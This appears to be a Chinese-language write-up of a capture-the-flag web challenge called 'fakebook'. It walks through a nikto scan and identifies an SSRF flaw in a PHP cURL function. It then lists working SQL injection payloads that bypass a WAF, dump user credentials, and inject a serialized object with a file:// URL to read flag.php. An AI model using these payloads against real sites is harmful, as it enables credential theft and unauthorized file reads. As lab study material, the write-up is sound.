攻防世界 fack
**Nikoo 扫描 nikto -host http://urlbook
扫描到 robots.txt .Users.bak
观察源码:curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。
curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。
curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。
经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。
2,get()函数存在ssrf漏洞。
显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。
我们先尝试注入:
order by 5时报错,可以判断字段数为4。
view.php?no=1 order by 4–+
输入union select 1,2,3,4提示no hack
于是尝试绕过WAF 改为union//view.php?no=0 union//select 1,2,3,4 --+
view.php?no=0 union//select 1,2,3,4–+
view.php?no=0 union//select 1,database(),3,4–+
view.php?no=0 union//select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=‘fakebook’ and table_name=‘users’–+
view.php?no=0 union//select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=‘fakebook’ and table_name=‘users’–+
view.php?no=0 union//select 1,group_concat(no,username,passwd,data),3,4 from users–+
之后会爆出来自己的注册的数据 数据是反序列的 通过ssrf 漏洞然后尝试利用ssrf漏洞读取flag.php。于是构造序列化的内容,里面要读取文件得使用file协议,基本的格式如: file:///文件路径
构造payload为:
view.php?no=0 union//select 1,2,3,‘O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:19;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}’
F12审查源代码就可
第二种:
view.php?no=0%20union//select+1,load_file(%27/var/www/html/flag.php%27),5,6也可以直接爆出数据 即可得到flag